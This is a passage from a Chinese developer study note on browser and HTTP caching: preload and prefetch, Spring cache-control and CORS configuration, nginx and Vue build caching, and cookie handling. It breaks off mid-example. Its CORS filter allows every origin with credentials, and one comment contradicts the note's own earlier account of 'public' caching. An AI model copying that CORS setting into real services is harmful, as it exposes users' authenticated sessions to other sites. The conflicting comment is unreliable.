<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> charset</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"UTF-8"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> name</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"viewport"</span><span style="color:#D19A66"> content</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"width=device-width, initial-scale=1.0"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">>test&#x3C;/</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">link</span><span style="color:#D19A66"> rel</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"prefetch"</span><span style="color:#D19A66"> href</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"static/img/ticket_bg.a5bb7c33.png"</span><span style="color:#ABB2BF">> </span><span style="color:#7F848E;font-style:italic">&#x3C;!-- prefetch 浏览器会在空闲时提前加载此资源，用的时候直接从缓存读 --></span></span>
<span class="line"><span style="color:#ABB2BF">    &#x3C;</span><span style="color:#E06C75">link</span><span style="color:#D19A66"> rel</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"preload"</span><span style="color:#D19A66"> as</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"font"</span><span style="color:#D19A66"> href</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"</span><span style="color:#FFFFFF">&#x3C;</span><span style="color:#98C379">%= require('/assets/fonts/AvenirNextLTPro-Demi.otf') %>"</span><span style="color:#D19A66"> crossorigin</span><span style="color:#ABB2BF">> </span><span style="color:#7F848E;font-style:italic">&#x3C;!-- preload 强制浏览器加载此资源但不会阻塞后面的加载，用的时候直接从缓存读 --></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">body</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;/</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">></span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><ul>
<li>preload和prefetch的本质都是预加载，即先加载、后执行。</li>
<li>preload和prefetch不会阻塞页面的onload。</li>
<li>preload用来声明当前页面的关键资源，强制浏览器尽快加载；而prefetch用来声明将来可能用到的资源，在浏览器空闲时进行加载。</li>
</ul>
<h3 id="思考和分析http缓存和刷新或重新打开效果的关系" tabindex="-1"><a class="header-anchor" href="#思考和分析http缓存和刷新或重新打开效果的关系"><span>思考和分析Http缓存和刷新或重新打开效果的关系</span></a></h3>
<div class="language-java line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="java" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#C678DD">package</span><span style="color:#C678DD"> xyz.hmz.backend.config</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.context.annotation.Bean</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.context.annotation.Configuration</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.http.CacheControl</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.cors.CorsConfiguration</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.cors.UrlBasedCorsConfigurationSource</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.filter.CorsFilter</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.servlet.config.annotation.ResourceHandlerRegistry</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.servlet.config.annotation.WebMvcConfigurationSupport</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> java.util.concurrent.TimeUnit</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#7F848E;font-style:italic">/**</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @Author haomingze</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @Date 2025/4/17 19:08</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @description:</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> */</span></span>
<span class="line"><span style="color:#ABB2BF">@</span><span style="color:#E5C07B">Configuration</span></span>
<span class="line"><span style="color:#C678DD">public</span><span style="color:#C678DD"> class</span><span style="color:#E5C07B"> WebConfig</span><span style="color:#C678DD"> extends</span><span style="color:#E5C07B"> WebMvcConfigurationSupport</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    /**</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * （1）不使用缓存</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * no-store</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * 永远都不在客户端存储资源，永远都去原始服务器去获取资源。</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * （2）强制使用缓存</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * private(ngnix默认): 只能被终端用户的浏览器缓存，不允许CDN等中继缓存服务器对其缓存, 只有在第一次请求的时候才访问服务器, 若有max-age, 则缓存期间不访问服务器获取资源，过期后才访问。</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * public: 可以被所有的用户缓存，包括终端用户和CDN等中间代理服务器。</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * （3）协商使用缓存</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * no-cache</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * 可以在客户端存储资源，不管本地缓存是否过期，每次都必须去服务端做新鲜度校验，来决定从服务端获取新的资源（200）还是使用客户端缓存（304）。也就是所谓的协商缓存。</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * must-revalidate</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     * 可以在客户端存储资源，只有本地缓存过期才去服务端做新鲜度校验。</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">     */</span></span>
<span class="line"><span style="color:#ABB2BF">    @</span><span style="color:#E5C07B">Override</span></span>
<span class="line"><span style="color:#C678DD">    public</span><span style="color:#C678DD"> void</span><span style="color:#61AFEF"> addResourceHandlers</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">ResourceHandlerRegistry</span><span style="color:#E06C75;font-style:italic"> registry</span><span style="color:#ABB2BF">)</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#E5C07B">        registry</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addResourceHandler</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/static/**"</span><span style="color:#ABB2BF">)</span></span>
<span class="line"><span style="color:#ABB2BF">                .</span><span style="color:#61AFEF">addResourceLocations</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"classpath:/static/"</span><span style="color:#ABB2BF">)</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">//                .setCacheControl(CacheControl.noStore());</span><span style="color:#7F848E;font-style:italic"> // 不使用缓存</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">//                .setCacheControl(CacheControl.noCache().cachePublic());</span><span style="color:#7F848E;font-style:italic"> // 协商缓存</span></span>
<span class="line"><span style="color:#ABB2BF">                .</span><span style="color:#61AFEF">setCacheControl</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">CacheControl</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">maxAge</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">3600</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">TimeUnit</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">SECONDS</span><span style="color:#ABB2BF">).</span><span style="color:#61AFEF">cachePublic</span><span style="color:#ABB2BF">()); </span><span style="color:#7F848E;font-style:italic">// 资源存在3600s 强缓存 同时允许客户端缓存资源但不允许代理端保存资源</span></span>
<span class="line"><span style="color:#ABB2BF">    }</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">    //过滤器方式</span></span>
<span class="line"><span style="color:#ABB2BF">    @</span><span style="color:#E5C07B">Bean</span></span>
<span class="line"><span style="color:#C678DD">    public</span><span style="color:#E5C07B"> CorsFilter</span><span style="color:#61AFEF"> corsFilter</span><span style="color:#ABB2BF">(){</span></span>
<span class="line"><span style="color:#E5C07B">        CorsConfiguration</span><span style="color:#E06C75"> config</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> new</span><span style="color:#61AFEF"> CorsConfiguration</span><span style="color:#ABB2BF">();</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //允许所有域名进行跨域调用</span></span>
<span class="line"><span style="color:#E5C07B">        config</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addAllowedOriginPattern</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"*"</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //允许所有请求头</span></span>
<span class="line"><span style="color:#E5C07B">        config</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addAllowedHeader</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"*"</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //允许所有方法</span></span>
<span class="line"><span style="color:#E5C07B">        config</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addAllowedMethod</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"*"</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //是否发送Cookie信息</span></span>
<span class="line"><span style="color:#E5C07B">        config</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">setAllowCredentials</span><span style="color:#ABB2BF">(</span><span style="color:#D19A66">true</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#E5C07B">        UrlBasedCorsConfigurationSource</span><span style="color:#E06C75"> source</span><span style="color:#56B6C2"> =</span><span style="color:#C678DD"> new</span><span style="color:#61AFEF"> UrlBasedCorsConfigurationSource</span><span style="color:#ABB2BF">();</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">        //添加映射路径，拦截一切请求</span></span>
<span class="line"><span style="color:#E5C07B">        source</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">registerCorsConfiguration</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"/**"</span><span style="color:#ABB2BF">, config);</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">        return</span><span style="color:#C678DD"> new</span><span style="color:#61AFEF"> CorsFilter</span><span style="color:#ABB2BF">(source);</span></span>
<span class="line"></span>
<span class="line"><span style="color:#ABB2BF">    }</span></span>
<span class="line"><span style="color:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><blockquote>
<p>天坑：</p>
<p>刷新页面可以分为三种：</p>
<ul>
<li>正常操作 : 地址栏输入url ,跳转链接,前进后退等 ; 两种缓存都有效</li>
<li>手动刷新 : F5 ,点击刷新按钮,右击菜单刷新 ; 仅协商缓存有效</li>
<li>强制刷新 : ctrl +f5 cmd + r ; 两种缓存策略都无效，重新请求资源</li>
</ul>
</blockquote>
<h3 id="思考vue类单页应用要如何配置缓存机制较好" tabindex="-1"><a class="header-anchor" href="#思考vue类单页应用要如何配置缓存机制较好"><span>思考Vue类单页应用要如何配置缓存机制较好</span></a></h3>
<p>将打包后的js,css和图片等静态资源以MD5值命名，一旦MD5值变了则自然拉去新文件。所以可以设置一个强缓存给一个较长时间的生命周期</p>
<p>而打包后的html文件一般没法携带MD5值，所以要设置成协商缓存（或者不使用缓存）</p>
<p>nginx配置</p>
<div class="language-javascript line-numbers-mode" data-highlighter="shiki" data-ext="javascript" style="background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#E06C75">location</span><span style="color:#56B6C2"> /</span><span style="color:#E06C75">udaam</span><span style="color:#56B6C2">-</span><span style="color:#E06C75">ui</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#E06C75">       root</span><span style="color:#56B6C2">  /</span><span style="color:#E06C75">usr</span><span style="color:#56B6C2">/</span><span style="color:#E06C75">local</span><span style="color:#56B6C2">/</span><span style="color:#E06C75">ui</span><span style="color:#56B6C2">-</span><span style="color:#E06C75">workspace</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#E06C75">       index</span><span style="color:#E5C07B"> index</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">html</span><span style="color:#E5C07B"> index</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">htm</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#E06C75">       try_files</span><span style="color:#E06C75"> $uri</span><span style="color:#E06C75"> $uri</span><span style="color:#56B6C2">/</span><span style="color:#56B6C2"> /</span><span style="color:#E06C75">udaam</span><span style="color:#56B6C2">-</span><span style="color:#E06C75">ui</span><span style="color:#56B6C2">/</span><span style="color:#E5C07B">index</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">       if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$request_filename</span><span style="color:#56B6C2"> ~*</span><span style="color:#ABB2BF"> .</span><span style="color:#56B6C2">*</span><span style="color:#ABB2BF">\.(</span><span style="color:#E06C75">js</span><span style="color:#56B6C2">|</span><span style="color:#E06C75">css</span><span style="color:#56B6C2">|</span><span style="color:#E06C75">woff</span><span style="color:#56B6C2">|</span><span style="color:#E06C75">png</span><span style="color:#56B6C2">|</span><span style="color:#E06C75">jpg</span><span style="color:#56B6C2">|</span><span style="color:#E06C75">jpeg</span><span style="color:#ABB2BF">)</span><span style="color:#E06C75">$</span><span style="color:#ABB2BF">){</span></span>
<span class="line"><span style="color:#E06C75">            expires</span><span style="color:#ABB2BF">    100</span><span style="color:#E06C75">d</span><span style="color:#ABB2BF">;  #</span><span style="color:#E06C75">js</span><span style="color:#ABB2BF">、</span><span style="color:#E06C75">css</span><span style="color:#ABB2BF">、</span><span style="color:#E06C75">图片缓存100天</span></span>
<span class="line"><span style="color:#ABB2BF">            #</span><span style="color:#E06C75">add_header</span><span style="color:#E06C75"> Cache</span><span style="color:#56B6C2">-</span><span style="color:#E06C75">Control</span><span style="color:#98C379"> "max-age = 8640000"</span><span style="color:#ABB2BF">; #</span><span style="color:#E06C75">或者设置max</span><span style="color:#56B6C2">-</span><span style="color:#E06C75">age</span></span>
<span class="line"><span style="color:#ABB2BF">        }</span></span>
<span class="line"><span style="color:#C678DD">        if</span><span style="color:#ABB2BF"> (</span><span style="color:#E06C75">$request_filename</span><span style="color:#56B6C2"> ~*</span><span style="color:#ABB2BF"> .</span><span style="color:#56B6C2">*</span><span style="color:#ABB2BF">\.(</span><span style="color:#C678DD">?:</span><span style="color:#E06C75">htm</span><span style="color:#56B6C2">|</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">)</span><span style="color:#E06C75">$</span><span style="color:#ABB2BF">){</span></span>
<span class="line"><span style="color:#E06C75">            add_header</span><span style="color:#E06C75"> Cache</span><span style="color:#56B6C2">-</span><span style="color:#E06C75">Control</span><span style="color:#98C379"> "no-cache, no-store"</span><span style="color:#ABB2BF">;  #</span><span style="color:#E06C75">html不缓存</span></span>
<span class="line"><span style="color:#ABB2BF">        }</span></span>
<span class="line"><span style="color:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>vue.config.js vue打包配置</p>
<div class="language-javascript line-numbers-mode" data-highlighter="shiki" data-ext="javascript" style="background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#E06C75"> configureWebpack</span><span style="color:#ABB2BF">: </span><span style="color:#E06C75;font-style:italic">config</span><span style="color:#C678DD"> =></span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#C678DD">    if</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">process</span><span style="color:#ABB2BF">.</span><span style="color:#E5C07B">env</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">NODE_ENV</span><span style="color:#56B6C2"> ===</span><span style="color:#98C379"> 'production'</span><span style="color:#ABB2BF">) {</span></span>
<span class="line"><span style="color:#C678DD">      return</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#E06C75">        output</span><span style="color:#ABB2BF">: {</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">            // 输出重构  打包编译后的 文件名称  【模块名称.版本号.时间戳】</span></span>
<span class="line"><span style="color:#E06C75">          filename</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">`js/[name].[chunkhash].js`</span><span style="color:#ABB2BF">,</span></span>
<span class="line"><span style="color:#E06C75">          chunkFilename</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">`js/[id].[chunkhash].js`</span></span>
<span class="line"><span style="color:#ABB2BF">        }</span></span>
<span class="line"><span style="color:#ABB2BF">      }</span></span>
<span class="line"><span style="color:#ABB2BF">    }</span></span>
<span class="line"><span style="color:#ABB2BF">  },</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><div class="language-javascript line-numbers-mode" data-highlighter="shiki" data-ext="javascript" style="background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#E06C75">  css</span><span style="color:#ABB2BF">: {</span></span>
<span class="line"><span style="color:#E06C75">    extract</span><span style="color:#ABB2BF">: { </span><span style="color:#7F848E;font-style:italic">// 打包后css文件名称添加时间戳</span></span>
<span class="line"><span style="color:#E06C75">      filename</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">`css/[name].[chunkhash].css`</span><span style="color:#ABB2BF">,</span></span>
<span class="line"><span style="color:#E06C75">      chunkFilename</span><span style="color:#ABB2BF">: </span><span style="color:#98C379">`css/chunk.[id].[chunkhash].css`</span></span>
<span class="line"><span style="color:#ABB2BF">    }</span></span>
<span class="line"><span style="color:#ABB2BF">  }</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p><a href="https://www.jianshu.com/p/d09431a5fe53" target="_blank" rel="noopener noreferrer">2021-12-08 浏览器常用缓存策略及vue-cli单页面SPA应用缓存优化 - 简书</a></p>
<p><a href="https://www.jianshu.com/p/59d800532b2a" target="_blank" rel="noopener noreferrer">使用 Preload&amp;Prefetch 优化前端页面的资源加载 - 简书</a></p>
<h3 id="前后端操作cookie" tabindex="-1"><a class="header-anchor" href="#前后端操作cookie"><span>前后端操作cookie</span></a></h3>
<p>前端和后端如何修改Cookie的值，后端修改前端如何看得见？前端修改后端如何看得见？</p>
<ol>
<li>
<p>后端修改cookie，前端查看</p>
<div class="language-java line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="java" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#C678DD">package</span><span style="color:#C678DD"> xyz.hmz.backend.controller</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.http.CacheControl</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.stereotype.Controller</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.bind.annotation.CrossOrigin</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.bind.annotation.GetMapping</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.bind.annotation.RequestMapping</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> org.springframework.web.bind.annotation.RestController</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> xyz.hmz.root.result.ResultVO</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> javax.servlet.http.Cookie</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> javax.servlet.http.HttpServletRequest</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#C678DD">import</span><span style="color:#E5C07B"> javax.servlet.http.HttpServletResponse</span><span style="color:#ABB2BF">;</span></span>
<span class="line"></span>
<span class="line"><span style="color:#7F848E;font-style:italic">/**</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @Author haomingze</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @Date 2025/4/15 23:23</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> * @description:</span></span>
<span class="line"><span style="color:#7F848E;font-style:italic"> */</span></span>
<span class="line"><span style="color:#ABB2BF">@</span><span style="color:#E5C07B">CrossOrigin</span><span style="color:#E06C75">(</span><span style="color:#D19A66">origins</span><span style="color:#56B6C2"> =</span><span style="color:#98C379"> "http://127.0.0.1:5500"</span><span style="color:#E06C75">) </span><span style="color:#7F848E;font-style:italic">// 允许跨域请求携带cookies  allowCredentials = "true"</span></span>
<span class="line"><span style="color:#ABB2BF">@</span><span style="color:#E5C07B">RestController</span></span>
<span class="line"><span style="color:#C678DD">public</span><span style="color:#C678DD"> class</span><span style="color:#E5C07B"> TestController</span><span style="color:#ABB2BF"> {</span></span>
<span class="line"><span style="color:#ABB2BF">    @</span><span style="color:#E5C07B">GetMapping</span><span style="color:#E06C75">(</span><span style="color:#98C379">"/cache-controller"</span><span style="color:#E06C75">)</span></span>
<span class="line"><span style="color:#C678DD">    public</span><span style="color:#E5C07B"> String</span><span style="color:#61AFEF"> testCacheController</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">HttpServletRequest</span><span style="color:#E06C75;font-style:italic"> request</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">HttpServletResponse</span><span style="color:#E06C75;font-style:italic"> response</span><span style="color:#ABB2BF">){</span></span>
<span class="line"><span style="color:#E5C07B">       response</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">addCookie</span><span style="color:#ABB2BF">(</span><span style="color:#C678DD">new</span><span style="color:#61AFEF"> Cookie</span><span style="color:#ABB2BF">(</span><span style="color:#98C379">"backend-key"</span><span style="color:#ABB2BF">,</span><span style="color:#98C379">"后端修改cookie成功"</span><span style="color:#ABB2BF">)); </span><span style="color:#7F848E;font-style:italic">// 如果默认不设置cookie域则默认跟后端一个域</span></span>
<span class="line"><span style="color:#C678DD">       return</span><span style="color:#98C379"> "接口测试成功"</span><span style="color:#ABB2BF">;</span></span>
<span class="line"><span style="color:#ABB2BF">    }</span></span>
<span class="line"><span style="color:#ABB2BF">}</span></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><div class="language-html line-numbers-mode has-collapsed-lines collapsed" data-highlighter="shiki" data-ext="html" style="--vp-collapsed-lines:15;background-color:#282c34;color:#abb2bf"><pre class="shiki one-dark-pro vp-code" v-pre=""><code><span class="line"><span style="color:#ABB2BF">&#x3C;!</span><span style="color:#E06C75">DOCTYPE</span><span style="color:#D19A66"> html</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">&#x3C;</span><span style="color:#E06C75">html</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">	&#x3C;</span><span style="color:#E06C75">head</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;</span><span style="color:#E06C75">meta</span><span style="color:#D19A66"> charset</span><span style="color:#ABB2BF">=</span><span style="color:#98C379">"utf-8"</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">>cache-study&#x3C;/</span><span style="color:#E06C75">title</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#ABB2BF">		&#x3C;</span><span style="color:#E06C75">script</span><span style="color:#ABB2BF">></span></span>
<span class="line"><span style="color:#7F848E;font-style:italic">			/*设置cookie*/</span></span>
<span class="line"><span style="color:#C678DD">			function</span><span style="color:#61AFEF"> setCookie</span><span style="color:#ABB2BF">(</span><span style="color:#E06C75;font-style:italic">name</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">value</span><span style="color:#ABB2BF">, </span><span style="color:#E06C75;font-style:italic">iDay</span><span style="color:#ABB2BF">)</span></span>
<span class="line"><span style="color:#ABB2BF">			{</span></span>
<span class="line"><span style="color:#C678DD">			  var</span><span style="color:#E06C75"> oDate</span><span style="color:#56B6C2">=</span><span style="color:#C678DD">new</span><span style="color:#61AFEF"> Date</span><span style="color:#ABB2BF">();</span></span>
<span class="line"><span style="color:#E5C07B">			  oDate</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">setDate</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">oDate</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">getDate</span><span style="color:#ABB2BF">()</span><span style="color:#56B6C2">+</span><span style="color:#E06C75">iDay</span><span style="color:#ABB2BF">);</span></span>
<span class="line"><span style="color:#E5C07B">			  document</span><span style="color:#ABB2BF">.</span><span style="color:#E06C75">cookie</span><span style="color:#56B6C2">=</span><span style="color:#E06C75">name</span><span style="color:#56B6C2">+</span><span style="color:#98C379">'='</span><span style="color:#56B6C2">+</span><span style="color:#E06C75">value</span><span style="color:#56B6C2">+</span><span style="color:#98C379">';expires='</span><span style="color:#56B6C2">+</span><span style="color:#E06C75">oDate</span><span style="color:#ABB2BF">;</span></span>
